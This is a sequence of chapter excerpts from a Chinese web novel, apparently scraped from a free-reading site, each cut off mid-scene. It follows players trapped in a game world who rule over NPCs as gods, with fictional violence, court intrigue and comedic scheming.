“算了。”庄非鱼叹了一口气,“你只要答应我,别动郦之清就好。” “郦之 14. 神明之威 《反派,但决定摆烂》全本免费阅读 黎颂杀了一圈,直到视野里没有活人,才活动手腕跑回来。打算鸣金收兵时,余光却瞥到草垛里有动静。 她重新握住枪,哼着小调,猫捉老鼠一样,用枪管慢慢拨开干草。 里面躲着一对母女,乍见杀神一般的黎颂,流着眼泪瑟瑟发抖,止不住跪地求饶。 那母亲磕着头,满脸血痕,求黎颂饶过她的孩子。小女孩在妈妈背后藏着,一只手抓着妈妈衣角,一只手紧紧抓住死去爹爹的手,默默抽噎。 庄非鱼实在忍不住了,她紧皱眉头,一把握住黎颂枪管,站在那对母女前面: “玩够了,放过她们吧。” 黎颂翻了个白眼,收回枪管。那对母女劫后逢生,不停向庄非鱼磕头道谢,看得黎颂极不高兴。转了转眼珠,她想到一个主意。 黎颂左手一挥,身上紧身窄衣瞬间变成敦煌风格的神仙服饰。明珠束冠,轻舞霓裳,衣袂飘飘,耀眼到不可直视。 她伸出手,手中陡然出现一颗药丸,她将那颗药丸轻巧一扔,药丸准确无误落入小女孩的口中。 那母亲怔住了,反应过来便扒开女孩的嘴巴,焦急查看女儿的情况。 “此药名为飞天,服者可身轻如燕,翱翔天际。” 黎颂仰着下巴,说出药丸功效。 母亲一听,立马转头跪下,对黎颂曲意逢迎: “多谢神仙,多谢神仙,您能看上丫头,是丫头莫大的荣幸。” 小女孩仍呆愣在原地,母亲见她木讷,硬扯她过来: “我们遇到神仙了,这可是天赐的机缘,多少有钱人一辈子都遇不到的好事让你给遇见了,快跪下,谢谢神仙!” 小女孩被母亲狠压住跪下,眼里噙着泪水,用仇恨的目光望着黎颂。 上一刻,“神仙”刚杀了她的父亲,母亲却让她却杀父仇人下跪磕头。 母亲攥紧女儿的手,眼里放出奇异的光彩。她仰头,用期冀的眼神问黎颂: “敢为神仙可有尊号?小女当日夜供奉,以报神恩。” “吾名——九天玄女。” 黎颂垂眸,高高在上,俯视母女。 清晨第一缕阳光透过云层,落到服饰华美的黎颂身上,衬得她气质凛然、宛若神人。 她的力量宛如山岳,凡人则是山脚下的蝼蚁。 在科技的降维碾压下,无力反抗的游戏土著,比蝼蚁更卑贱。 翻手为云覆手为雨,以神灵之躯俯视凡人,这就是“天神”。 望着跪地奉迎的母亲,不知为何,庄非鱼陡然生出一股无力感。 那无力感细细密密,宛如暗刺,扎在她的心里。 黎颂轻蔑地俯视那对母女,转头对庄非鱼嘲道: “看到没有,这就是NPC,有什么好可惜的。” 此时,其他玩家屠完一轮,一一返回。在玩家中,庄非鱼发现了一张生面孔。 那是个极俊美的男子,一举一动颇有古韵,不像玩家,倒像仙侠剧里的仙人。 男子不疾不徐地过来,对黎颂行礼: “禀殿下,邵国为您修建的神庙已然竣工,您是否要去查验?” “去看看吧。”黎颂一歪头,对庄非鱼炫耀似的扬了扬眉: “这是我在邵国挑的管家,帅吧~” “不错。”庄非鱼望了他一眼。 在她见过的NPC里,这个男子的美貌可以排在前三了。 “呐,借你玩一天,算是补偿你的终端啦。” 黎颂努了努嘴,眼睛满是揶揄。 “一……一天?” 庄非鱼怀疑自己听错了,下意识转头看向那个男子。男子低着头,神色清清冷冷的,仿佛一切与他无关。 “啊,不够吗?” 黎颂先是瞪大眼睛,随后孩子气地笑起来: “你这么喜欢鹿襄嘛?那借你玩半年。不过呢,你得给我讲讲我爸,我被困在游戏里,他是什么反应?有没有痛哭流涕?后悔当初没有多多关心我?” “你这样随意决定他的人生,他会生气的。” 庄非鱼望着鹿襄,叹了口气。 “我爸?”黎颂先是懵了一秒,很快反应过来她说的是鹿襄。 她靠近鹿襄,戳了戳他的腰窝,半仰着头: “你会生我气吗?” “不会。”鹿襄颤了颤腰肢,轻声答道。 “看吧。”黎颂挑了挑眉,“他陪过的姐妹海了去了,尽管玩。” 黎颂推了推鹿襄,鹿襄识趣地走到庄非鱼身旁去牵她的手,手腕上的彼岸花刺青若隐若现。 庄非鱼吓了一跳,连忙推开他的手。 “别过来,我不喜欢这样的。” “那你喜欢什么样的?” “北山鄢那样的。” 庄非鱼没过脑子,脱口而出。 “不行。”黎颂表情陡然阴沉下来,“你不许打他的主意。” “哦呦,我们小九自己攻略不成,还拦着不让别人动手。”疯妹玩着头发,肆无忌惮地嘲笑她。 “是哦,你还不知道吧,小九换了多少张皮都没攻略下来呢~”淼淼向庄非鱼单眨了下眼: “自《天神》发布以来,小九磨着他爸装了内部账号,就盯着北山鄢一个人攻略,结果嘞~” “第一世,男主孤独终老都不愿意娶她;第二世,男主当场出家当和尚;第三世,男主举剑砍她;第四世……” 布奇凑过来接茬。 “闭嘴!”黎颂握紧拳头,银牙几欲咬碎。 她右手一伸,现出一条红鞭,狠狠抽在鹿襄背上: “带路,去神庙!” 鹿襄狼狈地踉跄一下,半跪在云端,手撑在云上,露出左手腕完整的彼岸花刺青。 他痛苦地蹙了蹙眉,而后不顾流血的伤口,以极快的速度起身。 “各位神灵,请随我来。”鹿襄挺直脊背,又恢复了那冷静的姿态。 这个黎颂,真是目中无人! 庄非鱼心里不舒服,奈何打不过黎颂,只能忍下。 一行人很快飞到邵国,远远的,庄非鱼看到一尊高大挺立的石像。 那石像气度之宏伟、造像之精美,远超她此生见过的任何神像。飞近一看,原来是按照黎颂“九天玄女”皮肤雕刻的。 鹿襄指着石像道: “禀告殿下,此尊玄女像由邵武王主持修建,共凿四年零六个月,花费三万贯……” 庄非鱼听着鹿襄的解释,细细欣赏这尊神像。神像华美圣洁、端庄祥和,匠人或许加入自己对神明的理解,雕刻的略微富态些。 这三分富态,让黎颂瞬间恼了。 她掏出灵鞭,在空中幻化如龙,狠狠一挥,正中神像脖颈。 “轰隆”一声,神像头 16. 一丘之貉 《反派,但决定摆烂》全本免费阅读 酒酣耳热后,郦问衡不胜酒力,离开酒楼包厢,去后院解手。 了却这件心事,他得意极了,脸上带着通红的笑意,缓步走下楼梯。 走到一楼时,说书先生惊堂木一拍,吓了他一大跳。这一吓,郦问衡的酒气散去三分,脑袋清醒了许多。 说书先生的演说顺着秋风,灌进他的耳朵。 【上回说到那丹城城主,差衙役假扮劫匪,截获运往木城的赈灾粮,还将黑锅扣到程家寨身上,后借剿匪名号出兵程家寨,屠了程家寨上下五百人口。 丹城城主机关算尽,万万没想到,程家寨寨主还有个客居在外的女儿。 女儿见父亲迟迟不来信,前去一探……】 堂下看客聚精会神地听着,郦问衡却呆立在场。 冷风吹进大堂,吹白他的脸色,灌进他的衣袖,让他从头冷到脚。 他想不通,究竟是谁将陈家寨灭门的真相暴露出来? 自己明明叫管家压下此事,说书人为何敢当堂演说? 大堂里,几个蓬头稚儿嬉戏打闹,一个不注意,撞得郦问衡一个趔趄。 那些稚子你追我赶,嘴里大声传唱着: “坏硕鼠,偷我黍, 食我肉,啖我血。 待到满地梨花雪, 业火焚尽罪方休。” 郦问衡半弯着身躯,抬起头,惊疑不定地望着稚子。 究竟是谁在背后捣鬼? 他扶住桌子,直起身子,抄起酒坛,狠狠砸到侍从身上,一字一句道: “给我查!” 侍从连忙跪下称喏,鲜血混着酒液滴滴答答。 大堂瞬间寂静,说书先生惊堂木一停,众人齐齐望向郦问衡。 郦问衡这才发现自己失态,拂袖垂眸,匆匆离开。 他带着满身酒气上了马车,吩咐马夫: “去祖宅。” 突然想到酒楼里的朋友,便吩咐长吏: “你去告诉各位家主,郦某有急事,先失陪了。” 长吏下车告退,郦问衡坐在车厢里,望着逐渐远去的街道,疲惫地捏了捏眉头。 这日子,一天比一天难捱。 车夫疾驶,半个时辰便到郦家祖宅。 不等车夫充当人凳,郦问衡翻身下车,疾步走进大门,问左右阍侍: “二老爷回来了吗?” “尚未回来。” 阍侍鞠躬弯腰: “三老爷正要出门找您。” 话音刚落,便见三老爷郦问年抱着一沓信件,急匆匆地走过来。 郦问年一见到大哥,便双目通红,眼泪滚落。 他泣声道: “二哥他,在送信的路上被人杀害了,我们在沧州鄢州的线人都联系不上了。” “什么?” 郦问衡身步伐一顿。 他扶住门栏,深呼吸两口,直起腰来问郦问年: “你给我仔仔细细,从头说一遍。” 郦问年抹了一把眼泪,道: “前些日子,我照往常一样给阿昶送信,让他小心行事,避开风头,但阿昶迟迟未回。 我便差人去鄢州查探,探子今早来报说:阿昶失踪了,我们在鄢州的铺子和宅子全都大门紧闭,里面一个人都没有。 我正要去找你,二哥身边的暗卫突然进来,满身是血拦住我说:二哥招揽的刺客临时反水,不仅没有成功刺杀王呈颐,还反过头来杀了二哥。其余暗卫皆战死,剩他一个人回来报信。” “那个暗卫呢?”郦问衡问。 “暗卫方才,失血而死。”郦问年低声回答。 郦问衡沉默片刻,取走郦问年手中的信件,半靠在台阶上,一张张翻看起来。 翻到暗卫口述的“刺客反水,抽刀砍向二老爷,二老爷避之不及,叫他砍中脖子,血溅三尺”一段,郦问衡身躯一晃,险些栽倒在地。 他捂紧书信,一行浊泪滑过脸颊,渗进衣领。 “大哥。”郦问年声音嘶哑,跟着红了眼眶。 郦问衡张了张口,嗓子哽咽不能发声。他短促地吸了口气,摆了摆手,将暗卫血书放到一旁。 “阿道的遗骸呢?快叫人接他回家。” “已经去了。”郦问年低声回答。 沉默半晌,他又开口: “大哥,我们现在该怎么办?” “心急若此,如何成事?” 郦问衡抬头斥他,而后低头,目光沉凝: “须知戒急用忍,方能行稳致远。” 郦问年咽下催促的话语,唯唯连声。 他知道大哥监司出身,行事缜密,尤擅搜集信息,查验文书。便开口道: “我再去拿些信件文书。” “不必,”郦问衡合上信笺,扶着郦问年的手臂起身,“我和你一同去。” 到了书房,郦问衡推开书架,和郦问年进入密室,翻出三年以来沧州、鄢州的所有的信件往来,一张张查验过去。 顺手地,他将和沧州州牧这些年暗通款曲的资料信件单独整理出来。 整理好后,郦问衡心力交瘁,倚着书架半坐着,目光涣散。 “大哥,你有头绪了吗?” 郦问年给他端了一杯茶,小心翼翼发问。 “头绪?呵。” 郦问衡苦笑一声,接过茶杯,狠狠砸到墙上。 “郑元嘉啊郑元嘉,你我同窗十载,同事二十载,今日,你就这样把我给弃了。” 他捶胸顿足,涕泗横流。 “怎么,怎么会是郑州牧?”郦问年大惊。 “除了他,还有谁能越过我操控荔城民意?还有谁知道我鄢州所有暗桩?还有谁的刺客……能让阿道信任至此。” 郦问衡颓然痛哭,痛心入骨。 片刻后,他拭去泪水,整顿衣冠,眼神冰冷,望向那沓和郑元嘉私下往来的信件。 起身,又是那个宦海浮沉半载、喜怒不形于色的荔城之主。 * 翌日,玄都苑。 北山鄢两指微动,翻看沧州州牧郑元嘉的认罪书,笑言其“一丘之貉”。 门外郦问衡求见,太子詹事笑着望了主子一眼: “貉来了。” 郦问衡躬身进来,见屋内气氛融融,庆幸自己赶上好时机。 他面向北山鄢跪下,双手高举纯金宝匣: “禀大人,这是我荔城的无价之宝——阴阳宫灯。听闻公子喜爱神仙法器,特献上此宝,以供赏用。” “哦? 17. 见异思迁 《反派,但决定摆烂》全本免费阅读 郦问衡颤抖着手,像他的上司一样写下认罪书。 也同他上司一样,将所有罪责泼都到别人头上。 北山鄢慢慢翻看,嘴角始终挂着嘲弄的笑意。 在郦问衡笔下,沧州州牧成了幕后操纵一切的人,他只是一个小小的、无辜的执行者。 官大一级压死人,他受长官辖制,“一时糊涂”犯下错事,愿将贪污所得尽数交还国库,将阴阳宫灯献给太子殿下。 只求保郦府平安,保荔城平安。 一字一句看过后,北山鄢的指尖在“阴阳宫灯”四字上点了点,嗤笑道: “好一个身不由己,荏弱难持的君子。” 郦问衡的心猛地一沉,意识到自己下笔失言,慌忙找补请罪。 房内人人看他笑话,一时之间竟无人搭话。 侍女为北山鄢添上一杯茶,笑意盈盈地开口: “奴婢听闻,荔城似有两枚阴阳宫灯呢,不知郦大人献上的这盏是真?还是假?” “这,这……” 郦问衡声音一顿,彻底慌了。 见他迟疑,侍女脸上笑意瞬间消失: “你竟敢欺瞒主子?” 太子詹事更是鄙夷直言道: “不想沧州,竟皆是一群欺上瞒下、胆大包天之徒。微臣此次回京,必直言上谏,一陈沧州之弊!” “大人,臣也是不得已呀。” 郦问衡深深叩头,老泪纵横。 “阴阳宫灯已然损坏,从外表看就是一个普普通通的灯盏,根本无法点燃,微臣怎敢拿其在大人面前丢人现眼?” “况且宫灯为玉清道君之物,由郦府族老看守,微臣位卑言轻,实在不敢妄动。” “这便是你狡诈欺瞒主子的理由?”太子詹事的厌恶凝为实质,几乎要压死郦问衡。 “玉清道君?” 北山鄢手一止,玩味道: “听闻玉清道君为情所困,已然发痴入魔。” “怎么可能?”郦问衡惊到忘记自己的处境,瞪大眼睛,脱口而出。 北山鄢似笑非笑地睨了他一眼,摆了摆手。 两个孔武有力的黑衣侍卫出来,挡住郦问衡的视线: “郦大人,请。” 郦问衡心有不甘,却只能行个大礼,起身告退。 出去时,他听见太子吩咐近侍整甲缮兵,准备离开荔城。 郦问衡心慌意乱,一路快马加鞭回到祖宅,翻身下马后,立即吩咐侍从: “速请族老过来,我要沐浴焚香,敬祭祖宗。” 随从袖手称是,起身离开,匆忙之下,撞到前来查看的三老爷郦问年。 “竖子,走路不长眼!” 郦问年一脚踹到随从腿上,随从疼得打了个趔趄,嘴里忙陪不是。 郦问衡见三弟如此张扬,不悦地皱起眉头: “好了,快让他去送信!” 郦问年啐了一声晦气,才抬头望向哥哥: “太子那边如何了?” “太子知道我们进献了影灯。” 郦问衡轻描淡写一句,却让郦问年几乎蹦了起来。 “他怎么认得出?莫非有人告密?” 影灯造出来后,连玉清道君都赞其“外表更甚于真灯”,甚至拿去赏玩多日,施法使其永葆如新。 太子殿下初来荔城,怎会辨出宫灯真假? “太子身边总会有奇人。” 郦问衡叹息一声,揉了揉眉头,嫌弃地看了弟弟一眼: “去沐浴焚香,稍后会见祖宗。” “是。” 郦问年满头雾水答应一声,回去照做了。 * 郦府海棠苑,天朗气清,阳光明媚。 庄非鱼以极别扭的姿势握住毛笔,在纸上勾勾画画。 “智力测试:3分;体能测试:2分;性格测试:7分;文化素质:唔……这个待定!” 郦之清坐在她对面,单手托腮,另一只手去抢毛笔。 “智力怎么能是3分嘛?起码也有5分!” “试卷答成那样,3分都给多了好吧。” 庄非鱼眼睛瞪圆,赶忙护住纸笔,不让她抢走。 在郦府混吃等工资这几天,庄非鱼也没有闲着,而是设置了一系列测试黄阶平的办法。 智力测试是她搜肠刮肚,勉强回忆起来的一套现代测智商题。 这套题满分共100,郦之清答了82,王小水答了63,杨阿妈破天荒答了90分! 而黄阶平呢?一个成年男子,仅比王小水高了3分。 智商给3点都算庄非鱼手下留情了。 体能更是离谱。 庄非鱼买通黄阶平的小药童,拿到药渣多方打听,才发现他患有胸痹之症。 听大夫描述,很有可能是心脏病,指不定哪天就噶了。 此人性格倒是良善,没有实质性欺□□仆的行为,可以定个中上了。 文化素质方面庄非鱼不太懂,但见郦之清如此崇拜,估计差不到哪里去。 “不过我觉得,德行方面还是得再测测。” 庄非鱼咬着笔杆,若有所思道: “他在辩论的时候能说出百姓不重要这种屁话,在日常生活中却又表现的很善良,是不是有点矛盾?” 郦之清叹了口气: “表哥骨子里还是个良善子弟,只是庶民死活不在他的眼里。” 他在锦绣堆里长大,没见识过真正的穷人。庶民对他来说,只是公文里的数字而已。 没有实感,又怎会同情? “他会对你好吗?”庄非鱼问。 “会的。”郦之清肯定地回答。 “那就先不改了,走,咱们去测试最后一点。” 庄非鱼霍然起身,拉住郦之清,风风火火就要走。 “这点不用测试的,表哥已经答应了,待我及笄之年,他在谷留县安稳下来,便遣人来我家求亲。” 郦之清扯住她的衣袖,小声嘟囔着。 庄非鱼可不管虚无缥缈的承诺,她得确定黄阶平是真的没有二心,至少也要真心求娶,才能放心离开。 这个小姑娘太乖了,被人欺负了连哭都不会。 她向杨阿妈借了一两银子,高价“聘请”府里最漂亮的丫鬟当外援,保准测出黄阶平的决心。 庄非鱼带着郦之清来到后院小花园,找了个草丛偷偷掩藏起来。 “这里蚊子好多,我们回去吧。”郦之清抱怨。 “快入冬了怎么会有蚊子?嘘,别说话,好戏马上开场。” 庄非鱼捂住她的嘴,示意她望向前方。 那位美貌 18. 广陵散止 《反派,但决定摆烂》全本免费阅读 郦之宁威胁黄阶平,不跟郦之清说明白就再也不理他,这才哄到黄阶平答应。 郦之宁先行一步来到海棠苑,她满脸得意,示意丫鬟去敲郦之清的苑门,见苑门不开,她大声叫喊: “二姐,快开门!” 敲了好一会儿,庄非鱼才打着哈欠,慢悠悠拉开红木小门。 “大白天关什么门……哦,您怎么亲自开门?” 郦之宁原本想骂人,见是庄非鱼,便立刻吞下暴躁的情绪,带着生疏的、扭捏的赔笑。 这位是和九天玄女熟稔的人物,不知道有什么背景,她可不敢得罪。 “你找阿清干嘛?”庄非鱼不冷不热地开口。 郦之宁放低姿态,低眉笑眼道: “我新得了一盒胭脂,找姐姐试妆。” “进来吧。” 庄非鱼扭头回去,郦之宁和丫鬟忙不迭跟在后面。 许是刚午睡起来,郦之清的双颊苍白,眼睛涨红,看起来憔悴极了。 郦之宁见了后,亲亲热热凑上去: “二姐,你看你的脸色多差,快试试我新得的胭脂。” “三妹亲自登门?真是稀客。” 郦之清扯出一道笑。 郦之宁本想发怒,心里却惦记着要看郦之清出丑,便强忍下来: “我是看姐姐近日面色不佳,好心为你送来胭脂遮掩罢了。” “哦?那真是感激不尽。” 郦之清皮笑肉不笑地接过胭脂盒,坐到梳妆台前开始上妆。 涂了一层粉后,见郦之宁还站在原地,便扭头问她: “你怎么还不走?” “我看看脂粉颜色再走嘛。” 郦之宁厚着脸皮坐下,指使丫鬟给自己倒了杯茶,不怀好意地瞟着镜子: “二姐,大家都说表哥心悦你呢。” “郦家的表哥海了去了,你说哪个?” 郦之清握住石黛,重重一描。 “哎呀,你别装了,就是勋臣表哥啦。” “唔……是有这么回事。怎么,你喜欢他?来说服姐姐让给你?” 郦之清放下石黛,拿起胭脂。 “怎么可能?”郦之宁提高嗓音,“他一没长相二没前途,我怎么可能喜欢他?” “是么?” 郦之清挑起丹红胭脂,在脸颊处化开,然后直起脊背,望向郦之宁身后: “原来阿宁这么看不起表哥啊。” 郦之宁疑惑一瞬,顺着郦之清的视线转头,正对上黄阶平难以置信的眼神。 他什么时候来的?丫鬟怎么也不通报一声?! 郦之宁恼恨地掐了一把身旁侍立的丫鬟,转头望向庄非鱼,又迅速低头垂眼,暗自咬牙。 郦之清抿了抿口脂,用指尖晕开鲜红的唇角,站起身来,笑着开口: “既然表哥来了,我也就不多跑一趟了。” “前些日子,我一心向学,多次在书房碰见表哥,有些下人因此嚼舌根子,说我心悦表哥。刚才阿宁听信谣言,过来问我。借此机会,便向表哥说个明白——” 郦之清盯着黄阶平的眼睛,一字一句道: “我郦之清,从来没有喜欢过你黄阶平。” 黄阶平呆立在门口,如遭雷击。 他望了望郦之清,又望了望郦之宁,语气涩然: “所以,这些日子,都是我在自作多情?” 他来之前,一直在想如何婉转拒绝郦之清,即能哄郦之宁开心,又能保留一线机会,待日后说些好话挽回她。 他还想:郦之宁是嫡女,理应做大;郦之清是庶女,可以讨过来做小。姐妹二人娥皇女英侍奉于他,也不失为一桩美事。 怎么一进来,就听见如此残忍的话语? 郦之宁算盘落空,更是不甘心,她大吼一声: “不可能!你是不是故意的?你早就知道了?” “知道什么?” 郦之清满脸无辜地望着她,“正如妹妹所言,黄家表哥一没长相二没前程,连县令之位都是父辈蒙阴,我怎么会喜欢这样一个一事无成的男人?” “倒是阿宁小姐,你看起来和黄家少爷颇有默契呢。”庄非鱼倚着门框,接过话茬。 郦之清和她对视一眼,笑言道: “话说开了,我也就放心了。小鱼,这个胭脂颜色不够红润,我们去买些时兴的。” “好嘞。”庄非鱼站直身体,作出送客的姿态: “两位,慢走不送~” 郦之宁想看郦之清的笑话,却被郦之清反将一军,看了她的笑话。 她甚至怀疑:是不是自己的谋算都被庄非鱼知道了,两人将计就计戏弄她和黄阶平? 换做以前,她早就不管不管大吵大闹起来,奈何郦之清身边多了一个庄非鱼,和九天玄女熟识的庄非鱼。 她只能狠狠剜了一眼郦之清,憋着一肚子气含恨离开。 送走郦之宁和黄阶平后,庄非鱼回屋,见郦之清已经沉默躺下。 她长呼一口气,走到床边把郦之清拽起来: “好不容易画好妆,不出街逛逛?” “不想去。” 郦之清弓着脊背,怏怏垂头。 “不就一个黄阶平嘛,赶明儿去盛京,我给你找十八个美男子,个个都比黄阶平强!” “男子又不是大白菜,还能任我去挑呀。” 郦之清破颜一笑,转而叹气: “明年我就十五了。” 该走出琴棋书画,步入柴米油盐了。 “十五又怎么了?盛京那边,十八岁相看人家的姑娘比比皆是。” 庄非鱼反驳: “天下男人多的是,慢慢来,总能找到一个合适的。” * 庄非鱼安慰了郦之清一天,直到傍晚,哄她睡下才出去觅食。 她到厨房寻摸一通,只翻到几个冷馒头,便揣了两个离开。 回海棠苑时,庄非鱼远远看见郦之宁,她打扮得妖妖娆娆,一个人朝玄都苑走去。 这个郦之宁真有精力,白天晚上不带歇的。 庄非鱼悄悄跟了上去,到玄都苑门口,郦之宁和往常一样,浑身一哆嗦,就换了种气场。 应该是黎颂附了她的身,庄非鱼想。 等黎颂离开,得问问郦之宁有没有这段时间的记忆,顺便让她写份供词。 庄非鱼熟练地爬上屋顶,咬一口馒头,借着幽幽月光,视线朝下望去。 庭院内,北山鄢席地趺坐,引琴而弹。 黎颂走到门口,手指轻抚发丝,一朵殷红的彼岸花凭 20. 算计神明 《反派,但决定摆烂》全本免费阅读 玄女殿内,庄非鱼拱手告辞。 一群青少年模式的漏网之鱼,才不想给她们出馊主意。 “小鱼,你不要走嘛!” 黎颂连忙起身,抱住庄非鱼的胳膊。疯妹也伸出手,拉住她另一只胳膊。 踢里哐啷几声,几人身边的杂物落了一地。 僵持片刻,庄非鱼两眼一闭,无奈地呼了一口气,重新坐回去。 “呀,我的笔!” 疯妹坐回去,才发现自己踩到了笔,心疼地低头去捡。 庄非鱼见她天天抱着这两样东西,便扭头问: “你这本子和笔是做什么的?” 疯妹擦了擦电子笔上不存在的灰尘,道: “我的神职是司命星君,这是我的司命簿和无常笔。” “司命星君?可以操控NPC的命运吗?”庄非鱼来了兴致。 “当然可以。” 疯妹傲然地举起笔: “大家都说昊天是武力最强的神明,黎颂是氪金最多的神明,但我看来,他们都不及我。 只要有这只笔,我想让谁生,谁就生;想让谁死,谁就死。 提起笔,我就是此方世界唯一的神明。” “这么厉害?那你展示展示,让我见识一下。”庄非鱼有些期待,撺掇她赶紧动笔。 疯妹翻开司命簿,长按无常笔右侧开关。沉思片刻,在空白页写下: 【一分钟后,鹿襄出门会被打劫。】 她向上一扔,本子悬浮在空中,字迹右侧视频栏,慢慢浮现一幅画面。 画面逐渐变大,变得有98英寸电视那么大,而后占据全部页面。 画面上,鹿襄衣冠整齐正要出门,几只小狗“汪汪”叫着跑过来,咬住他的袖子,不让他过去。 鹿襄无奈一笑,吩咐侍从拿来几个肉包子,一个个扔给小狗。 小狗松开鹿襄的衣角,埋头吃肉包,顾不得他,他这才得了空子,走出院门。 视频结束,司命簿慢慢缩小,缩到手账本大小,轻轻飞回疯妹手中。 “看到没有,这就是司命一职的威力。” 疯妹骄傲地接过本子,一脸坐等夸奖的模样。 “厉害厉害!” 庄非鱼胳膊拄脸,好悬没笑出声来。 强压下笑容,庄非鱼拿起司命簿,问她: “这一百多页都是你书写的命运?” “我只写过两次,不对,加上这次算三次。”疯妹摇了摇头,“其他都是我出门看到,然后拍下来的。” “两次都是关于男主的。”布奇插了一嘴。 “但都没啥用。”黎颂小小耸了下肩。 “怎么没起作用?”淼淼嘟起嘴巴,指指点点: “就是她第二次胡编乱造,搞得我们被赶出熙国。” “什么我胡编乱造,没有你这个雨神下令,我能成功嘛!”疯妹愤怒地一拍沙发。 沙发上,几只猫咪被吓得弹跳起来,喵喵几声,警惕看向周围。 黎颂心疼地抚摸猫咪脑袋,紧皱眉头: “干嘛突然吵架?猫猫都被你们吓哭了!” “哼!”两个人各自偏头,不看对方。 “好了,说正事。”庄非鱼出来打圆场,“你那两次都是怎么设定的?给我看看。” 不知是疯妹设定不靠谱,还是司命簿和无常笔有bug,想象中的画面和实际发生的事情大相径庭、毫不相干。 “给你看看我的战绩!” 疯妹摩拳擦掌,快速翻着司命簿,嘴里念念叨叨: “第一次是男主十岁那年,我按小说里写的样子,给小九和北山鄢设计了一场完美的初遇。” 她翻到第43页,上面字迹不仅潦草,还有很多涂改的痕迹。 “喏,你看,”疯妹指着文字说: “我本来想给男主装载一个惹人厌技能,让小九拯救他。但系统说主线人物的命运不归我管,写了也是白写,然后淼淼给我出了个主意。” “主角我们动不了,可以动他身边的人呀。” 淼淼眼尾一挑,得意的小模样像极她怀中抱着的猫咪。 “我让疯妹写下: 【从今日起,熙国太子北山鄢身边的人都讨厌他。】 系统判定语句不成立。 我猜是时间没把握好,就改成了【未来三个月内,熙国太子北山鄢身边的人都讨厌他。】” “结果还是不成立。”黎颂拉长声音。 “于是我们又改成了: 【未来三个月内,熙国太子北山鄢身边的人都悄悄躲开他。】 条件成立!” “所以,司命簿不能左右NPC的情感,且命运不能直接加诸于主线人物身上?” 庄非鱼若有所思。 “你真是太聪明了!”黎颂眼睛亮晶晶地望着她,“我们问了好多人才明白这个规则呢。” “果然叫你来没错!”疯妹开心地一锤沙发,惊起猫猫无数。 庄非鱼摆摆手,头疼地望着疯妹的渣字迹: “你们后来改成什么样了?” “我给你念。”疯妹接过本子,念道: “未来三个月内,熙国太子北山鄢身边的人都悄悄躲开他。当他感到痛苦时,身边突然出现了一个花仙子,陪他聊天,和他一起玩,他深深的爱上了这个仙子。” “等等,不是说不能左右人物情感吗?”庄非鱼糊涂了。 什么“痛苦”、“爱”,明显不合规。 “是不能左右呀,但我们改烦了,所以只成功了一半……算了,你自己看吧。” 疯妹扔出司命簿。 画面上,黎颂站在云端,换了一套又一套服饰,最后选定一套仙气袅袅的粉色襦裙。 淼淼向她比了个“OK”,黎颂一撩头发,自信满满地下界。 熙国皇宫,一个身着黑色深衣,宽袖广袍的小孩,孤独地坐在石头上看书。 “喂,小孩。” 黎颂缩小站在芍药花芯上,挽着手臂,笑吟吟看着他。 年幼的北山鄢转过头来,冷漠睥睨,锋芒毕露。 和成年后的清贵内敛不同,如今的他,眉宇带着天生的高贵与桀骜,少年帝王之相跃然而出。 “你是谁?” 他望着黎颂,警惕且凛冽。 “我是花仙子,看你一个人孤伶伶的,就下来陪你玩上几个月。” 黎颂向天空一指,用哄小孩的语气哄他。 北山鄢慢条斯理地合上书,问她: “你是什么花?” “鸢尾。” 黎颂抖了抖袖子,离开芍药,变成正常人的大小。 北山鄢眉眼一移,瞥了瞥身旁盛放的鸢尾花,问她: “你平日不用照看仙草吗?耽误差事,神明会降罪你的。” “不用不用,”黎颂摆了摆手,“其他仙子会给我做事的,下来玩几个月,不会有人怪罪。” 北山鄢微微一笑,露出少年的天真气来: “多谢你下界陪我,近日奴仆不知怎地,都不理我了。” 那张贵气天成的脸上,露出委屈脆弱之态,看得黎颂心都软了。 她走近两步,连忙安慰: “我这不是来陪你了嘛,未来三个月,你随时可以找我玩。” “一言为定!” 北山鄢伸出手,和黎颂轻轻一击掌。 画面外,黎颂捧着脸颊感叹: “他小时候真乖呀,后悔没有多捏他几下。” “乖?”庄非鱼直接笑出声来,“我的小乖乖,和北山鄢比起来,你才是那个天真的小朋友。” 她用戏谑的眼神望着黎颂。 “为什么?”黎颂微微歪头,疑惑不解。 直到现在,她还以为那是一个完美的初见。 “第一,你从芍药里钻出来,为何说自己是鸢尾花?” 庄非鱼好笑地问她。 “我看见旁边有个鸢尾,顺口说喽。”黎颂摊了摊手。 “是啊,旁边既然有鸢尾,那你一个鸢尾花仙,为什么从芍药花里钻出来?” 庄非鱼指着画面里的鸢尾问。 “哦~”众玩家齐齐惊呼,恍然大悟。 “原来他第一句就把我套路了!”黎颂恨恨咬牙。 “是第二句。”庄非鱼提醒她。 “还有你的第三句话……容我先问一句:你们每个人身上都有神职,却天天喝酒蹦迪,神界平时工作都是谁在做呢?” “招的凡人啊。”黎颂理所当然地说。 “每个神职下面都有空缺的仙人副职,我们看中哪个凡人,就赐他神药,令他飞升成仙,代替我们做日常任务打卡喽。” 什么外包行为? 庄非鱼欲言又止,止言又欲,不理解玩个游戏,怎么还招NPC替自己完成任务? “怎么了?我第三句说的有问题吗?” 黎颂伸手在庄非鱼面前晃了晃。 庄非鱼沉思一瞬,断言道: “北山鄢肯定猜到你不是花仙,而且神职不低。” “为什么?”黎颂连连发问。 “你语气里对神明的轻慢,以及理所当然觉得:其他仙子会给你做事。” 黎颂用她许久未学习的脑袋想了一下: “你意思是:我的语气太高傲了,不像一个低微的小花仙?” “没错。”庄非鱼点了点头,继续说,“还有你的第四句。” “啊?我又说错什么了?”黎颂哀叹。 “北山鄢说奴仆最 21. 降下神罚 《反派,但决定摆烂》全本免费阅读 玄女殿内一片寂静,针落可闻。 直到黎颂回来,看见屏幕,抓狂尖叫: “啊啊啊啊!!!该死的小疯,你怎么把这个拍下来了?!” “拉倒吧,谁不知道你被一个十岁小孩耍了。” 疯妹收回司命簿,哈哈大笑,嘲讽拉满。 庄非鱼没有笑,她放下饮料,面色凝重。 北山鄢连踩黎颂两个痛点。 一让其在众人面前丢脸,二涉及其父母之爱。 以她对黎颂的了解,这件事的走向绝对是北山鄢无法承受之重。 “后来呢?”她问。 “后来我们小九简直气炸,想给北山鄢一个终身难忘的教训。” 疯妹看热闹不嫌事大。 “顺便让愚蠢的凡人,见识一下神明的实力。”淼淼补充。 疯妹接着说: “当天晚上,我们回到神界,一起出主意。 淼淼提议:把北山鄢的腿打断,让他坐轮椅。” “我可不想攻略一个残疾人。”黎颂翻了个白眼。 “然后布奇说:把北山鄢囚禁起来,酱酱酿酿。” 